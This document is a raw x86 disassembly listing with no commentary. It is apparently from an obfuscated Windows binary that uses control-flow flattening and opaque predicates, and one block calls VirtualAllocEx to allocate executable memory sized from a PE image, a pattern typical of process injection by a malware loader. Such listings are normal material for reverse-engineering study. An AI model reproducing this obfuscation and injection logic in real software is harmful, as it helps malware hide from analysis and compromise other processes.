xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x67a3df7b
mov ebx, esi
not ebx
and esi, 0x19808f98
or eax, ecx
or edx, ebx
and ebx, 0xe67f7067
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x985c2084
mov edi, esi
and edi, 0x67a3df7b
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xd6c6f0e9
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x493580], 0xa
setge al
setl dl
and ah, dl
and al, cl
or dl, cl
or al, ah
xor dl, 1
mov ah, al
or dl, al
xor ah, 1
mov ecx, edx
mov ch, ah
xor cl, 1
and ch, al
xor ah, ch
xor ch, 1
or ch, al
xor ch, 1
or ch, ah
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dl, ch
xor dl, 1
and dl, ah
xor ah, 1
and ah, ch
or ah, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov edx, 0xf4ada4d1
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test cl, 1
mov ecx, 0xf4ada4d1
jmp 0x407eee
cmp eax, 0xef22fcac
je 0x40e323
cmp eax, 0xef4ae8b1
je 0x40e3db
cmp eax, 0xf01d686b
jne 0x4021f0
mov eax, 0x19e4218c
jmp 0x4021f0
cmp eax, 0x33f140ea
je 0x40e3e5
cmp eax, 0x3401e0c9
je 0x40e4c2
cmp eax, 0x34742fb0
jne 0x4021f0
mov eax, 0x85820250
jmp 0x4021f0
cmp eax, 0xabf55957
je 0x40e5e1
cmp eax, 0xac0cb8c5
je 0x40e696
cmp eax, 0xac9e0cbe
jne 0x4021f0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov dword [eax + 4], ecx
push dword [ebp - 0x64]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x34]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x359c5901
jmp 0x4021f0
cmp eax, 0x6b0c585c
je 0x40e6bf
cmp eax, 0x6bc3402e
je 0x40e6c9
cmp eax, 0x6ce5d311
jne 0x4021f0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xc046d551
and ecx, 0x3fb92aae
or eax, ecx
mov edx, eax
xor edx, 0x8000c041
xor eax, 0xc290aa4
and eax, 0x4c6f1fb4
and edx, 0xb390e04b
or edx, eax
mov esi, edx
mov eax, edx
xor eax, 0x1000a001
xor esi, 0x4c6f1fb4
xor edx, 0x2049023f
and edx, esi
and eax, 0x1064b005
and esi, 0xef9b4ffa
or esi, eax
mov ecx, esi
xor esi, 0x1064b005
xor ecx, 0xef9b4ffa
mov eax, esi
or eax, 0x93d9e274
mov ebx, ecx
and ebx, 0x6804118a
and esi, 0x198bd27
mov edi, eax
and edi, 0x167b6c11
or ebx, edi
mov edi, edx
not edi
and edx, 0xe98493ee
or eax, edi
and edi, 0x167b6c11
or edx, edi
mov edi, ecx
and edi, 0xfe6742d8
not eax
and ecx, 1
xor edx, ebx
or edi, esi
or eax, edx
xor edi, 0x198bd26
mov edx, eax
not edx
or ecx, edi
and eax, 0xe564746d
and edx, 0x1a9b8b92
mov esi, ecx
not esi
and ecx, 0xd84344a6
or eax, edx
and esi, 0x27bcbb59
mov edx, eax
xor edx, 0x1422941
xor eax, 0x76bd9618
or ecx, esi
mov esi, eax
and esi, 0xc895c0a6
and edx, 0x376a3f59
or edx, esi
mov esi, ecx
xor esi, 0x10420400
xor ecx, 0x27bcbb59
or eax, ecx
and ecx, 0xc895c0a6
and esi, 0x376a3f59
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x6afeb913
and edx, 0x950146ec
or edx, esi
mov esi, ecx
not esi
and ecx, 0x950146ec
or eax, esi
and esi, 0x6afeb913
or ecx, esi
not eax
mov esi, 0xea30c9b1
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x698288b7
mov edx, ecx
and edx, 0x967d7748
or eax, edx
xor eax, 0x967d7748
xor ecx, eax
test ecx, eax
sete ah
setne cl
cmp dword [0x493580], 0xa
mov ch, ah
setge dl
setl al
or ch, dl
xor dl, ah
or cl, al
or al, ah
mov dh, ch
mov ah, dl
xor dh, cl
or cl, ch
xor ah, al
or al, dl
xor cl, 1
xor al, 1
or al, ah
or cl, dh
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x13443329
cmovne ecx, esi
test al, 1
mov eax, 0x13443329
jmp 0x412f61
cmp eax, 0xcf3653ce
je 0x40e79c
cmp eax, 0xcff64d87
je 0x40e8c6
cmp eax, 0xd0c03d9b
jne 0x4021f0
mov eax, dword [ebp - 0x100]
mov ecx, dword [0x493584]
mov dword [ebp - 0x104], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x8420080
mov esi, ecx
mov edi, ecx
or esi, 0x25940148
and edx, 0x2dd601c8
and edi, 0x92087613
and ecx, 0xa99b5939
or edi, edx
mov edx, eax
and esi, 0x2dd601c8
and edx, 0x40218824
and eax, 0x5664a6c6
or edx, esi
or eax, ecx
xor edx, edi
mov ecx, eax
xor ecx, 0x5664a6c6
xor eax, 0xa99b5939
mov edi, 0x46c2cb28
mov esi, edx
not esi
and edx, 0xb79c775a
and esi, 0x486388a5
or edx, esi
mov esi, 0x3f8e4065
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne dl
sete ah
cmp dword [0x493580], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor dl, 1
xor cl, 1
or cl, al
or al, ah
xor al, 1
mov ah, cl
or al, dl
not ah
mov edx, eax
and al, cl
xor dl, 1
or cl, dl
and dl, ah
or dl, al
mov ch, cl
mov eax, 0x3f8e4065
xor ch, dl
test dl, 1
cmovne eax, edi
test cl, cl
cmovne eax, esi
test ch, 1
cmove eax, edi
jmp 0x4021f0
cmp eax, 0xaf87c94
je 0x40ea1b
cmp eax, 0xb7c6d18
je 0x40ea25
cmp eax, 0xb935187
jne 0x4021f0
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x54]
inc eax
mov dword [ecx], eax
mov eax, 0x19a1496f
jmp 0x4021f0
cmp eax, 0x89b7bb1d
je 0x40ea45
cmp eax, 0x8a6759d9
je 0x40ea62
cmp eax, 0x8a948fa1
jne 0x4021f0
mov ecx, dword [0x493584]
mov edi, 0xf8744d39
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x5766301d
and eax, 0xa899cfe2
or ecx, eax
xor ecx, 0x5766301d
or edx, ecx
mov ecx, edx
xor ecx, 0x1a5ca107
mov eax, edx
and eax, 0x7e50cf95
and ecx, edx
not edx
and edx, 0x81af306a
or eax, edx
mov edx, eax
xor edx, 0x7e50cf95
xor eax, 0x81ae3028
mov esi, edx
and esi, 0x1a5ca107
and eax, 0x87eeb3bc
and edx, 0x78114c42
or ecx, esi
or edx, eax
mov esi, ecx
not esi
and ecx, 0x1a5ca106
and esi, 0xe5a35ef9
or ecx, esi
mov eax, ecx
not eax
and ecx, 0x1b024c72
mov esi, eax
and esi, 0xe4fdb38d
or ecx, esi
mov esi, edx
xor esi, 0x18004c42
xor edx, 0x87eeb3bd
or eax, edx
and edx, 0xe4fdb38d
and esi, 0x1b024c72
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x445086
and eax, 0x18b10150
mov edx, ecx
and edx, 0x240a8a01
or ecx, 0x2404c805
or esi, edx
and ecx, 0xe704ec2d
mov edx, esi
xor edx, 0x401082
xor esi, 0xe700ac29
or eax, ecx
and esi, 0xe704ec2d
and edx, 0x4a1282
or edx, esi
mov esi, 0xf244feee
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x98ee6f
and ecx, 0xff671190
or eax, ecx
cmp eax, 0x24d634e8
setne al
cmp dword [0x493580], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
xor dl, 1
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0xf8744d39
cmovne ecx, esi
test dl, dl
mov edx, ecx
cmovne edx, edi
test al, al
cmovne edx, ecx
mov eax, edx
jmp 0x4021f0
cmp eax, 0x45b514e7
je 0x40ec0a
cmp eax, 0x46169b60
je 0x40ecca
cmp eax, 0x465eb42f
jne 0x4021f0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
add eax, dword [ebp - 0x8c]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x56c413ed
and eax, 0xa93bec12
or ecx, eax
mov eax, ecx
xor eax, 0x44010e5
xor ecx, 0x8823c802
and ecx, 0xdaa7cb0a
and eax, 0x255834f5
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x1183004
xor ecx, 0xdaa7cb0a
xor eax, 0xe00461ac
mov esi, ecx
and edx, 0xc93a390e
and esi, 0x36c5c6f1
and eax, ecx
or esi, edx
mov ecx, esi
xor ecx, 0x36c5c6f1
xor esi, 0x201800
mov edx, ecx
and edx, 0x3aa3aaa6
and esi, 0x34245e70
or eax, edx
mov edx, eax
not edx
and eax, 0xcfaed7cd
and edx, 0x30512832
or eax, edx
mov edx, ecx
and edx, 0xcbdba18f
and ecx, 1
or edx, esi
xor eax, 0xf50d7d6a
mov esi, 0x4896213b
xor edx, 0x34245e71
or ecx, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x44506e12
and eax, 0xbbaf91ed
or eax, edx
xor eax, 0x44506e12
xor ecx, eax
test ecx, eax
sete cl
setne dl
cmp dword [0x493580], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
xor cl, al
or al, ah
mov edx, ecx
xor dl, al
mov edx, 0x380fdf18
cmovne edx, esi
test al, al
mov eax, 0x380fdf18
jmp 0x41212f
cmp eax, 0xe733ff64
je 0x40ee72
cmp eax, 0xe89362a8
je 0x40ee7c
cmp eax, 0xe966362a
jne 0x4021f0
mov eax, 0xc7095cfb
jmp 0x4021f0
cmp eax, 0x28dda7a8
je 0x40ef5b
cmp eax, 0x29a22c22
je 0x40f057
cmp eax, 0x2b08e948
jne 0x4021f0
mov eax, 0x9d7e4fd4
jmp 0x4021f0
cmp eax, 0xa4c19398
je 0x40f061
cmp eax, 0xa4d6a041
je 0x40f078
cmp eax, 0xa4f4862d
jne 0x4021f0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x90]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0x7bd48040
jmp 0x4021f0
cmp eax, 0x657697f0
je 0x40f151
cmp eax, 0x65e4ab14
je 0x40f280
cmp eax, 0x663bbd51
jne 0x4021f0
mov eax, dword [ebp - 0x20]
mov eax, 0x2faf403
jmp 0x4021f0
cmp eax, 0xc770ade7
je 0x40f28a
cmp eax, 0xc8b55a44
je 0x40f29d
cmp eax, 0xc9e8b429
jne 0x4021f0
mov eax, 0x4da4d69d
jmp 0x4021f0
cmp eax, 0x19ff68e1
je 0x40f2b6
cmp eax, 0x1b029966
je 0x40f3f2
cmp eax, 0x1c17f5ad
jne 0x4021f0
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x50]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, 0x6183a8b0
jmp 0x4021f0
cmp eax, 0x988c9624
je 0x40f3fc
cmp eax, 0x9a53b632
je 0x40f4dc
cmp eax, 0x9b4ea69d
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x37c2fb0
and edx, 0xfc83d04f
or ecx, edx
mov edx, eax
xor edx, 0xfffffffe
mov esi, ecx
xor ecx, 0xfc83d04e
and edx, eax
xor esi, 0x5c0830
mov ebx, edx
or ecx, 1
not ebx
and esi, 0x7cded87e
and edx, 0x7cded87f
mov edi, ecx
or ecx, ebx
and edi, 0x83212780
and ebx, 0x83212780
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xe3d83ec3
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete ah
setne dl
cmp dword [0x493580], 0xa
setge cl
setl al
mov ch, cl
or cl, ah
xor ch, dl
or dl, al
or al, ah
xor cl, 1
xor dl, 1
xor al, 1
or cl, dl
or al, ch
mov ah, cl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x39396209
cmovne ecx, esi
test al, 1
mov eax, 0x39396209
jmp 0x412f61
cmp eax, 0x526c5737
je 0x40f690
cmp eax, 0x53dc1ab8
je 0x40f69a
cmp eax, 0x53f2c146
jne 0x4021f0
mov eax, dword [0x493584]
mov edi, 0xdea7269d
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x6432846
and edx, 0xf9bcd7b9
or eax, edx
mov edx, eax
xor edx, 0x4412804
xor eax, 0xf9bcd7b9
mov esi, eax
and esi, 0xbb9652c3
and edx, 0x4469ad3c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4469ad3c
or eax, esi
and esi, 0xbb9652c3
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x4d24d939
and eax, 0xb2db26c6
or eax, edx
xor eax, 0xb2db26c7
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xce8e430
and eax, 0xd80a6211
mov edx, ecx
and edx, 0xf3171bcf
or ecx, 0x26110a0
or esi, edx
and ecx, 0x236114e6
mov edx, esi
xor esi, 0x2011080
xor edx, 0x4808000
or eax, ecx
or esi, 0x21000446
and edx, 0x4948908
and esi, 0x236114e6
or edx, esi
mov esi, 0xd1a9f6a2
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x6f599a8
and ecx, 0xf90a6657
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb8af6d96
and ecx, 0x47509269
or ecx, eax
xor ecx, 0x47509269
sete ah
setne dl
cmp dword [0x493580], 0xa
setge ch
setl al
mov cl, ch
and al, dl
and ch, ah
inc cl
or al, ch
and dl, cl
or cl, ah
xor al, 1
or dl, ch
xor cl, 1
or cl, dl
mov edx, eax
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xdea7269d
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x4021f0
cmp eax, 0xf4ada4d1
je 0x40f772
cmp eax, 0xf5deb41e
je 0x40fe87
cmp eax, 0xf6bba62b
jne 0x4021f0
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x178]
cmp ecx, dword [eax]
mov eax, 0x2ed14877
setb byte [ebp - 0x9e]
jmp 0x4021f0
cmp eax, 0x3904288e
je 0x40fe94
cmp eax, 0x39396209
je 0x40fea1
cmp eax, 0x39a54ba0
jne 0x4021f0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x72d111ab
mov esi, edx
and esi, 0xd2eee54
and edx, 0x3a65e6bd
or esi, ecx
mov ecx, eax
or ecx, 0x72d111ab
and eax, 0xc59a1942
and ecx, 0xf2d111ab
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0xc59a1942
xor eax, 0x3a65e6bd
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
and ecx, eax
mov dword [ebp - 0x1c4], ecx
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x6f7ec596
and ecx, 0x90813a69
or eax, ecx
mov ecx, eax
xor ecx, 0x2716c404
xor eax, 0x802a69
and eax, 0x48e82bfb
and ecx, 0xb717d404
or ecx, eax
mov eax, ecx
xor ecx, 0xb0045004
xor eax, 0x48e82bfb
mov edx, eax
and ecx, 0xb8847396
and edx, 0x477b8c69
and eax, 0x6891896d
or edx, ecx
mov ecx, edx
xor ecx, 0x477b8c69
xor edx, 0x30007110
mov esi, ecx
and esi, 0x976e7692
and edx, 0x71137150
or eax, esi
mov esi, eax
not esi
and eax, 0x388df9b1
and esi, 0xc772064e
or eax, esi
mov esi, ecx
and esi, 0x8eec8eaf
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x9800220
xor eax, 0x501c70dd
xor esi, 0x71137151
and edx, 0x499c12a9
or ecx, esi
mov esi, eax
and esi, 0xb663ed56
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0xb663ed56
and esi, 0x499c12a9
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0xcbaa0d9a
mov ecx, eax
xor ecx, 0x22740f59
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xdd8bf0a6
and eax, 0x22740f59
or eax, ecx
sete al
setne cl
cmp dword [0x493580], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
xor dl, 1
xor al, 1
mov cl, ah
or al, dl
not cl
mov edx, eax
and al, ah
xor dl, 1
and cl, dl
or dl, ah
or cl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xa5b95cb1
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, 1
mov eax, 0xa5b95cb1
jmp 0x412e2d
cmp eax, 0xb48cd6e6
je 0x40feba
cmp eax, 0xb5229ff5
je 0x40fecd
cmp eax, 0xb543ff71
jne 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x5c056fd4
mov eax, ecx
and eax, 0xa3fa902a
and ecx, 0x26644361
or esi, eax
mov eax, edx
and eax, 1
xor esi, 0x5c056fd4
or eax, esi
mov esi, eax
not esi
and eax, 0xa08fa4b6
and esi, 0x5f705b49
or eax, esi
mov esi, eax
xor esi, 0x20040020
xor eax, 0x5f705b49
mov edi, eax
or eax, edx
and edx, 0xd99bbc9e
and edi, 0xd99bbc9e
and esi, 0x26644361
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x94b47f9a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7e11842f
and ecx, 0x81ee7bd0
or eax, ecx
xor eax, 0x7e11842f
sete al
setne cl
cmp dword [0x493580], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov cl, ah
xor al, 1
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xb67d533b
cmovne eax, esi
test cl, cl
mov ecx, 0xb67d533b
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x4021f0
cmp eax, 0x78a55321
je 0x40fed7
cmp eax, 0x78f6bc05
je 0x41004f
cmp eax, 0x7b0243b1
jne 0x4021f0
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x4c]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov ecx, 0xdcd4c89f
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x4c]
cmp dword [eax + 4], 0
mov eax, 0x75c15a38
cmove eax, ecx
jmp 0x4021f0
cmp eax, 0xd3e3e06a
je 0x41016d
cmp eax, 0xd411acc9
je 0x410177
cmp eax, 0xd44dc793
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0xaafd7a91
mov ecx, eax
and ecx, 0xa8982a00
and esi, eax
not eax
and eax, 0x2655091
or ecx, eax
xor ecx, 0xa8982a00
or esi, ecx
mov eax, esi
not eax
and esi, 0x80a2830d
and eax, 0x7f5d7cf2
or esi, eax
mov edx, esi
mov ecx, esi
xor esi, 0x1bcceb37
xor ecx, 0xd5a00663
xor edx, 0x2a5ff99c
mov edi, esi
and edi, ecx
and esi, edx
and edx, 0xb768db62
and ecx, 0x4897249c
mov eax, edi
not eax
and edi, 0xab5d9cc7
or ecx, edx
mov ebx, eax
and ebx, 0x54a26338
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xab5d9cc7
or eax, ebx
and ebx, 0x54a26338
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xfb8d4912
and esi, 0x472b6ed
or eax, esi
mov esi, eax
xor esi, 0x80181028
xor eax, 0x35e1a447
mov edx, eax
and edx, 0x4e674fd1
and esi, 0xb198b02e
or esi, edx
mov edx, ecx
xor edx, 0x90200c
xor ecx, 0xb768db63
or eax, ecx
and ecx, 0x4e674fd1
and edx, 0xb198b02e
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xb112529d
and edx, 0x4eedad62
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4eedad62
or eax, esi
and esi, 0xb112529d
or ecx, esi
not eax
mov esi, 0xb48cd6e6
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xff266258
and ecx, 0xd99da7
or eax, ecx
mov ecx, eax
xor ecx, 0x2c206248
xor eax, 0x110c22
and eax, 0xd3170c32
and ecx, 0x2ce8f3cd
or ecx, eax
xor ecx, 0x2ce8f3cd
sete ah
setne dl
cmp dword [0x493580], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
xor al, 1
xor cl, 1
xor dl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0xb48cd6e6
mov al, dl
xor al, ah
test dl, 1
mov edx, 0x55e6d76d
cmovne ecx, edx
test ah, ah
jmp 0x40c2c4
cmp eax, 0xfbeda4b2
je 0x41028b
cmp eax, 0xfc87c8ad
je 0x41045e
cmp eax, 0xfdd94604
jne 0x4021f0
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
add eax, 0xfffffff8
mov dword [ebp - 0xc8], eax
mov eax, 0x210b22cf
jmp 0x4021f0
cmp eax, 0x82c86696
je 0x410468
cmp eax, 0x840ad53a
je 0x410472
cmp eax, 0x84204730
jne 0x4021f0
mov eax, 0x4e3424a2
jmp 0x4021f0
cmp eax, 0x3e264dfd
je 0x41058f
cmp eax, 0x3f0a8e13
je 0x41059c
cmp eax, 0x3f2499a0
jne 0x4021f0
mov eax, dword [ebp - 0x118]
mov eax, 0x988c9624
jmp 0x4021f0
cmp eax, 0xdd9bd853
je 0x4105a6
cmp eax, 0xdea7269d
je 0x410696
cmp eax, 0xdf3fa901
jne 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 7
mov eax, 0xcfc0aa1
jmp 0x4021f0
cmp eax, 0x20449ddf
je 0x4106a0
cmp eax, 0x210b22cf
je 0x4106aa
cmp eax, 0x2151bc05
jne 0x4021f0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xcc]
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x9db893fa
mov eax, edx
and eax, 0x62476c04
and edx, 0xac657725
or esi, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
xor esi, 0x9db893fa
and ecx, 0x539a88da
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x1f62c54a
and esi, 0xe09d3ab5
or eax, esi
mov esi, eax
xor esi, 0xd424008
xor eax, 0xe09d3ab5
mov edx, eax
and edx, 0x122485e2
and esi, 0xeddb7a1d
or esi, edx
mov edx, ecx
xor edx, 0x419a0818
xor ecx, 0xac657725
or eax, ecx
and ecx, 0x122485e2
and edx, 0xeddb7a1d
or edx, ecx
not eax
xor edx, esi
mov esi, 0x3f37940b
or eax, edx
mov ecx, eax
not ecx
and eax, 0xfceb16ec
and ecx, 0x314e913
or eax, ecx
xor eax, 0xfceb16ec
setne ah
sete dl
cmp dword [0x493580], 0xa
mov dh, ah
mov cl, ah
setge ch
setl al
inc dh
and cl, dh
xor dl, ch
xor cl, 1
and dl, ch
mov ebx, ecx
or cl, dh
xor dl, 1
xor bl, dh
xor cl, 1
or cl, bl
xor cl, al
xor al, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0xf3a212e2
cmovne ecx, esi
test al, 1
jmp 0x40e4b5
cmp eax, 0x9cd1b511
je 0x4107a5
cmp eax, 0x9cefb903
je 0x410884
cmp eax, 0x9d7a6aa6
jne 0x4021f0
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x493584]
mov edi, 0x526c5737
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x832e18f0
and eax, 0x42280c41
mov edx, ecx
and edx, 0x7cd1e70f
or ecx, 0x8411c1a2
or esi, edx
and ecx, 0xb411c1b2
mov edx, esi
xor esi, 0x411c102
xor edx, 0x1061000
or eax, ecx
or esi, 0x30000010
and edx, 0x9c6320c
and esi, 0xb411c1b2
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x8dd7f3ae
and ecx, 0x72280c51
or eax, ecx
mov edx, eax
xor edx, 0xe7254199
mov ecx, eax
not ecx
andn esi, eax, edx
mov edx, eax
and edx, 0x18dabe66
and eax, 0x324ca8c6
and ecx, 0xcdb35738
or edx, esi
or ecx, eax
mov esi, edx
not esi
and edx, 0xe7254198
and esi, 0x18dabe67
or edx, esi
mov esi, edx
not esi
and edx, 0xfd324a7c
mov eax, esi
and eax, 0x2cdb583
or edx, eax
mov eax, ecx
xor eax, 0xcd324238
xor ecx, 0x324ca8c7
or esi, ecx
and ecx, 0x2cdb583
and eax, 0xfd324a7c
or eax, ecx
not esi
xor eax, edx
or esi, eax
mov ecx, esi
xor ecx, 0xd1097bd3
mov eax, esi
and eax, 0x800148c1
and ecx, esi
not esi
and esi, 0x51083312
or eax, esi
mov edx, eax
xor edx, 0x80010880
xor eax, 0x7ffeb73e
mov esi, eax
and esi, 0x3b587177
and edx, 0xc0010a80
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc4a78e88
or eax, esi
and esi, 0x3b587177
or ecx, esi
not eax
mov esi, 0xf5deb41e
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd1097bd3
and ecx, 0x2ef6842c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3bd05f3d
and ecx, 0xc42fa0c2
or eax, ecx
mov ecx, eax
xor ecx, 0x32405329
xor eax, 0x402b00c0
and eax, 0x49bb0cd4
and ecx, 0xb644f32b
or ecx, eax
mov eax, ecx
xor eax, 0x830494
xor ecx, 0x2043100
and ecx, 0x4b3c3940
and eax, 0xb4c3c6bf
or eax, ecx
xor eax, 0xb4c3c6bf
sete dl
setne ah
cmp dword [0x493580], 0xa
setge cl
setl ch
mov al, cl
or ch, ah
or al, dl
xor dl, cl
or cl, ah
mov dh, al
or al, ch
xor cl, 1
mov ah, dl
xor dh, ch
mov ch, dl
xor al, 1
xor ch, 1
or al, dh
or cl, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0x526c5737
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, edi
test al, al
jmp 0x41251a
